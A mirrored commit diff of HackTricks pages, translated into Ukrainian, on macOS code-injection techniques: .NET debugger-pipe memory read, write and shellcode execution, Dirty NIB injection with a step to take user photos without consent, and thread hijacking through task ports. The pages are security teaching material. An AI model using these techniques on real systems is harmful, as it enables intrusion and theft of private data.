mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
a590e48ef1
commit
de283092b8
82 changed files with 3215 additions and 2681 deletions
|
@ -1,30 +1,31 @@
|
|||
# Впровадження додатків .Net для macOS
|
||||
# macOS .Net Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Це краткий огляд публікації [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Перевірте його для отримання додаткових деталей!**
|
||||
**Це резюме поста [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Перевірте його для отримання додаткових деталей!**
|
||||
|
||||
## Відлагодження .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
### **Встановлення сеансу відлагодження** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
### **Establishing a Debugging Session** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||
|
||||
Обробка комунікації між відлагоджувачем та відлагоджуваним в .NET керується [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Цей компонент налаштовує два іменовані канали для кожного процесу .NET, як показано в [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), які ініціюються через [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ці канали мають суфікси **`-in`** та **`-out`**.
|
||||
Обробка зв'язку між налагоджувачем і налагоджуваним у .NET управляється [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Цей компонент налаштовує два іменовані канали для кожного процесу .NET, як видно в [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), які ініціюються через [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ці канали мають суфікси **`-in`** та **`-out`**.
|
||||
|
||||
Відвідавши **`$TMPDIR`** користувача, можна знайти доступні для відлагодження FIFO для додатків .Net.
|
||||
Відвідавши **`$TMPDIR`** користувача, можна знайти FIFOs для налагодження .Net додатків.
|
||||
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) відповідає за управління комунікацією від відлагоджувача. Для ініціювання нового сеансу відлагодження відлагоджувач повинен надіслати повідомлення через канал `out`, починаючи з структури `MessageHeader`, детально описаної в вихідному коді .NET:
|
||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) відповідає за управління зв'язком від налагоджувача. Щоб ініціювати нову сесію налагодження, налагоджувач повинен надіслати повідомлення через `out` канал, починаючи з структури `MessageHeader`, детально описаної в вихідному коді .NET:
|
||||
```c
|
||||
struct MessageHeader {
|
||||
MessageType m_eType; // Message type
|
||||
|
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
|
|||
BYTE m_sMustBeZero[8];
|
||||
}
|
||||
```
|
||||
Для запиту нової сесії ця структура заповнюється наступним чином, встановлюючи тип повідомлення на `MT_SessionRequest` та версію протоколу на поточну версію:
|
||||
Щоб запитати нову сесію, ця структура заповнюється наступним чином, встановлюючи тип повідомлення на `MT_SessionRequest` і версію протоколу на поточну версію:
|
||||
```c
|
||||
static const DWORD kCurrentMajorVersion = 2;
|
||||
static const DWORD kCurrentMinorVersion = 0;
|
||||
|
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
|||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||
```
|
||||
Цей заголовок потім надсилається на цільовий об'єкт за допомогою системного виклику `write`, за яким слідує структура `sessionRequestData`, що містить GUID для сеансу:
|
||||
Цей заголовок потім надсилається на ціль за допомогою системного виклику `write`, за яким слідує структура `sessionRequestData`, що містить GUID для сесії:
|
||||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||
```
|
||||
Операція читання на каналі `out` підтверджує успішне або невдачне встановлення сеансу налагодження:
|
||||
Операція читання з каналу `out` підтверджує успіх або невдачу встановлення сеансу налагодження:
|
||||
```c
|
||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||
```
|
||||
## Читання пам'яті
|
||||
Після встановлення сеансу налагодження, пам'ять можна читати за допомогою типу повідомлення [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Функція readMemory детально описана, виконуючи необхідні кроки для відправлення запиту на читання та отримання відповіді:
|
||||
Once a debugging session is established, memory can be read using the [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) message type. Функція readMemory детально описує необхідні кроки для відправки запиту на читання та отримання відповіді:
|
||||
```c
|
||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||
// Allocation and initialization
|
||||
|
@ -79,9 +80,9 @@ return true;
|
|||
```
|
||||
Повний доказ концепції (POC) доступний [тут](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
||||
|
||||
## Запис у пам'ять
|
||||
## Запис пам'яті
|
||||
|
||||
Аналогічно, пам'ять можна записати за допомогою функції `writeMemory`. Процес включає встановлення типу повідомлення на `MT_WriteMemory`, вказівку адреси та довжини даних, а потім відправлення даних:
|
||||
Аналогічно, пам'ять можна записати, використовуючи функцію `writeMemory`. Процес включає встановлення типу повідомлення на `MT_WriteMemory`, вказуючи адресу та довжину даних, а потім відправляючи дані:
|
||||
```c
|
||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||
// Increment IDs, set message type, and specify memory location
|
||||
|
@ -93,37 +94,38 @@ bool writeMemory(void *addr, int len, unsigned char *input) {
|
|||
return true;
|
||||
}
|
||||
```
|
||||
Асоційований POC доступний [тут](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
||||
Пов'язаний POC доступний [тут](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
||||
|
||||
## Виконання коду .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
## .NET Core Виконання Коду <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
Для виконання коду потрібно ідентифікувати область пам'яті з дозволами rwx, що можна зробити за допомогою vmmap -pages:
|
||||
Щоб виконати код, потрібно ідентифікувати область пам'яті з правами rwx, що можна зробити за допомогою vmmap -pages:
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
Знаходження місця для перезапису вказівника функції є необхідним, і в .NET Core це можна зробити, спрямовуючись на **Dynamic Function Table (DFT)**. Ця таблиця, детально описана в [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), використовується рантаймом для функцій-помічників компіляції JIT.
|
||||
Знаходження місця для перезапису вказівника функції є необхідним, і в .NET Core це можна зробити, націлившись на **Dynamic Function Table (DFT)**. Ця таблиця, детально описана в [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), використовується середовищем виконання для допоміжних функцій компіляції JIT.
|
||||
|
||||
Для систем x64 можна використовувати пошук сигнатури для знаходження посилання на символ `_hlpDynamicFuncTable` в `libcorclr.dll`.
|
||||
Для систем x64 можна використовувати полювання на сигнатури, щоб знайти посилання на символ `_hlpDynamicFuncTable` у `libcorclr.dll`.
|
||||
|
||||
Функція відладки `MT_GetDCB` надає корисну інформацію, включаючи адресу функції-помічника `m_helperRemoteStartAddr`, що вказує на місце розташування `libcorclr.dll` в пам'яті процесу. Цю адресу потім використовують для початку пошуку DFT та перезапису вказівника функції адресою shellcode.
|
||||
Функція налагодження `MT_GetDCB` надає корисну інформацію, включаючи адресу допоміжної функції `m_helperRemoteStartAddr`, що вказує на місцезнаходження `libcorclr.dll` у пам'яті процесу. Ця адреса потім використовується для початку пошуку DFT і перезапису вказівника функції адресою shellcode.
|
||||
|
||||
Повний код POC для впровадження в PowerShell доступний [тут](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
||||
Повний код POC для ін'єкції в PowerShell доступний [тут](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# macOS Dirty NIB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Для отримання додаткових відомостей про техніку перевірте оригінальний пост за посиланням: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ось краткий опис:
|
||||
**Для отримання додаткової інформації про техніку перегляньте оригінальний пост за адресою: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Ось короткий виклад:
|
||||
|
||||
Файли NIB, як частина екосистеми розробки Apple, призначені для визначення **елементів користувацького інтерфейсу** та їх взаємодії в додатках. Вони охоплюють серіалізовані об'єкти, такі як вікна та кнопки, та завантажуються під час виконання. Незважаючи на їх поширене використання, Apple зараз рекомендує використовувати Storyboards для більш комплексної візуалізації потоку користувацького інтерфейсу.
|
||||
Файли NIB, частина екосистеми розробки Apple, призначені для визначення **елементів UI** та їх взаємодій в додатках. Вони містять серіалізовані об'єкти, такі як вікна та кнопки, і завантажуються під час виконання. Незважаючи на їх постійне використання, Apple тепер рекомендує використовувати Storyboards для більш комплексної візуалізації потоку UI.
|
||||
|
||||
### Проблеми безпеки з файлами NIB
|
||||
Важливо зауважити, що **файли NIB можуть становити загрозу безпеці**. Вони можуть **виконувати довільні команди**, і зміни в файлах NIB в додатку не заважають Gatekeeper виконувати додаток, що становить значну загрозу.
|
||||
### Питання безпеки з файлами NIB
|
||||
Критично важливо зазначити, що **файли NIB можуть бути загрозою безпеці**. Вони мають потенціал для **виконання довільних команд**, а зміни у файлах NIB в додатку не заважають Gatekeeper виконувати додаток, що становить значну загрозу.
|
||||
|
||||
### Процес впровадження Dirty NIB
|
||||
### Процес ін'єкції Dirty NIB
|
||||
#### Створення та налаштування файлу NIB
|
||||
1. **Початкове налаштування**:
|
||||
- Створіть новий файл NIB за допомогою XCode.
|
||||
- Додайте об'єкт до інтерфейсу, встановивши його клас на `NSAppleScript`.
|
||||
- Налаштуйте початкову властивість `source` через атрибути часу виконання, визначені користувачем.
|
||||
|
||||
2. **Елемент виконання коду**:
|
||||
- Налаштування сприяє запуску AppleScript за запитом.
|
||||
2. **Гаджет виконання коду**:
|
||||
- Налаштування дозволяє виконувати AppleScript за запитом.
|
||||
- Інтегруйте кнопку для активації об'єкта `Apple Script`, спеціально викликаючи селектор `executeAndReturnError:`.
|
||||
|
||||
3. **Тестування**:
|
||||
|
@ -38,12 +39,12 @@
|
|||
set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
- Перевірте, запустивши відлагоджувач XCode та натиснувши кнопку.
|
||||
- Протестуйте, запустивши в налагоджувачі XCode та натиснувши кнопку.
|
||||
|
||||
#### Направлення на додаток (Приклад: Pages)
|
||||
#### Цілеве застосування (приклад: Pages)
|
||||
1. **Підготовка**:
|
||||
- Скопіюйте цільовий додаток (наприклад, Pages) в окремий каталог (наприклад, `/tmp/`).
|
||||
- Запустіть додаток, щоб уникнути проблем з Gatekeeper та кешуванням.
|
||||
- Скопіюйте цільовий додаток (наприклад, Pages) в окрему директорію (наприклад, `/tmp/`).
|
||||
- Запустіть додаток, щоб обійти проблеми з Gatekeeper і кешувати його.
|
||||
|
||||
2. **Перезапис файлу NIB**:
|
||||
- Замініть існуючий файл NIB (наприклад, About Panel NIB) на створений файл DirtyNIB.
|
||||
|
@ -51,21 +52,37 @@ display dialog theDialogText
|
|||
3. **Виконання**:
|
||||
- Запустіть виконання, взаємодіючи з додатком (наприклад, вибравши пункт меню `About`).
|
||||
|
||||
#### Доказ концепції: Доступ до даних користувача
|
||||
- Змініть AppleScript для доступу та вилучення даних користувача, таких як фотографії, без згоди користувача.
|
||||
#### Доказ концепції: доступ до даних користувача
|
||||
- Змініть AppleScript, щоб отримати доступ і витягти дані користувача, такі як фотографії, без згоди користувача.
|
||||
|
||||
### Приклад коду: Зловмисний файл .xib
|
||||
- Ознайомтеся з [**прикладом зловмисного файлу .xib**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4), який демонструє виконання довільного коду.
|
||||
### Приклад коду: Зловмисний .xib файл
|
||||
- Отримайте доступ і перегляньте [**зразок зловмисного .xib файлу**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4), який демонструє виконання довільного коду.
|
||||
|
||||
### Вирішення обмежень запуску
|
||||
- Обмеження запуску заважають виконанню додатків з неочікуваних місць (наприклад, `/tmp`).
|
||||
- Можливо виявити додатки, які не захищені обмеженнями запуску, та спрямувати їх для впровадження файлу NIB.
|
||||
- Обмеження запуску заважають виконанню додатків з несподіваних місць (наприклад, `/tmp`).
|
||||
- Можливо виявити додатки, які не захищені обмеженнями запуску, і націлити їх для ін'єкції файлу NIB.
|
||||
|
||||
### Додаткові заходи захисту macOS
|
||||
Починаючи з macOS Sonoma, зміни всередині пакетів додатків обмежені. Однак раніше використовувалися такі методи:
|
||||
### Додаткові захисти macOS
|
||||
Починаючи з macOS Sonoma, модифікації всередині пакетів додатків обмежені. Однак раніше методи включали:
|
||||
1. Копіювання додатка в інше місце (наприклад, `/tmp/`).
|
||||
2. Перейменування каталогів у пакеті додатка для обходу початкових захистів.
|
||||
3. Після запуску додатка для реєстрації з Gatekeeper, зміна пакету додатка (наприклад, заміна MainMenu.nib на Dirty.nib).
|
||||
4. Повернення початкових назв каталогів та повторний запуск додатка для виконання впровадженого файлу NIB.
|
||||
2. Перейменування директорій всередині пакету додатка, щоб обійти початкові захисти.
|
||||
3. Після запуску додатка для реєстрації з Gatekeeper, модифікація пакету додатка (наприклад, заміна MainMenu.nib на Dirty.nib).
|
||||
4. Повернення директорій назад і повторний запуск додатка для виконання ін'єкованого файлу NIB.
|
||||
|
||||
**Примітка**: Останні оновлення macOS пом'якшили цей експлойт, запобігаючи модифікації файлів всередині пакетів додатків після кешування Gatekeeper, що робить експлойт неефективним.
|
||||
**Примітка**: Останні оновлення macOS зменшили цю вразливість, заборонивши модифікацію файлів у пакетах додатків після кешування Gatekeeper, що робить цю вразливість неефективною.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,57 @@
|
|||
# Впровадження потоку macOS через порт завдання
|
||||
# macOS Thread Injection via Task port
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Код
|
||||
## Code
|
||||
|
||||
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
||||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||
|
||||
|
||||
## 1. Перехоплення потоку
|
||||
## 1. Thread Hijacking
|
||||
|
||||
Спочатку функція **`task_threads()`** викликається на порт завдання для отримання списку потоків з віддаленого завдання. Вибирається потік для перехоплення. Цей підхід відрізняється від традиційних методів впровадження коду, оскільки створення нового віддаленого потоку заборонено через новий захист, який блокує `thread_create_running()`.
|
||||
Спочатку викликається функція **`task_threads()`** на порту задачі для отримання списку потоків з віддаленої задачі. Вибирається потік для захоплення. Цей підхід відрізняється від звичайних методів ін'єкції коду, оскільки створення нового віддаленого потоку заборонено через нові заходи, що блокують `thread_create_running()`.
|
||||
|
||||
Для управління потоком викликається **`thread_suspend()`**, зупиняючи його виконання.
|
||||
Для контролю потоку викликається **`thread_suspend()`**, що зупиняє його виконання.
|
||||
|
||||
Єдині дії, дозволені на віддаленому потоці, полягають у **зупинці** та **запуску** його, **отриманні** та **зміні** його значень регістрів. Віддалені виклики функцій ініціюються шляхом встановлення регістрів `x0` до `x7` на **аргументи**, налаштування **`pc`** на цільову функцію та активації потоку. Для забезпечення того, що потік не впаде після повернення, необхідно виявлення повернення.
|
||||
Єдині операції, дозволені на віддаленому потоці, включають **зупинку** та **запуск** його, **отримання** та **модифікацію** значень його регістрів. Віддалені виклики функцій ініціюються шляхом встановлення регістрів `x0` до `x7` на **аргументи**, налаштування **`pc`** для націлювання на бажану функцію та активації потоку. Забезпечення того, щоб потік не зламався після повернення, вимагає виявлення повернення.
|
||||
|
||||
Одна з стратегій передбачає **реєстрацію обробника винятків** для віддаленого потоку за допомогою `thread_set_exception_ports()`, встановлення регістру `lr` на недійсну адресу перед викликом функції. Це викликає виняток після виконання функції, надсилаючи повідомлення на порт винятків, що дозволяє перевірити стан потоку для відновлення значення повернення. Альтернативно, як у вразливості triple\_fetch від Іана Біра, `lr` встановлюється на нескінченний цикл. Потім регістри потоку безперервно моніторяться, поки **`pc` вказує на цю інструкцію**.
|
||||
Одна зі стратегій полягає в **реєстрації обробника виключень** для віддаленого потоку за допомогою `thread_set_exception_ports()`, встановлюючи регістр `lr` на недійсну адресу перед викликом функції. Це викликає виключення після виконання функції, надсилаючи повідомлення на порт виключень, що дозволяє перевірити стан потоку для відновлення значення повернення. Альтернативно, як це було прийнято з експлойту triple\_fetch Іана Біра, `lr` встановлюється на безкінечний цикл. Регістри потоку потім постійно моніторяться, поки **`pc` не вказує на цю інструкцію**.
|
||||
|
||||
## 2. Mach-порти для зв'язку
|
||||
## 2. Mach ports for communication
|
||||
|
||||
Наступна фаза передбачає створення Mach-портів для сприяння зв'язку з віддаленим потоком. Ці порти є інструментальними для передачі довільних прав на відправку та отримання між завданнями.
|
||||
Наступний етап полягає в створенні Mach портів для полегшення зв'язку з віддаленим потоком. Ці порти є важливими для передачі довільних прав на відправлення та отримання між задачами.
|
||||
|
||||
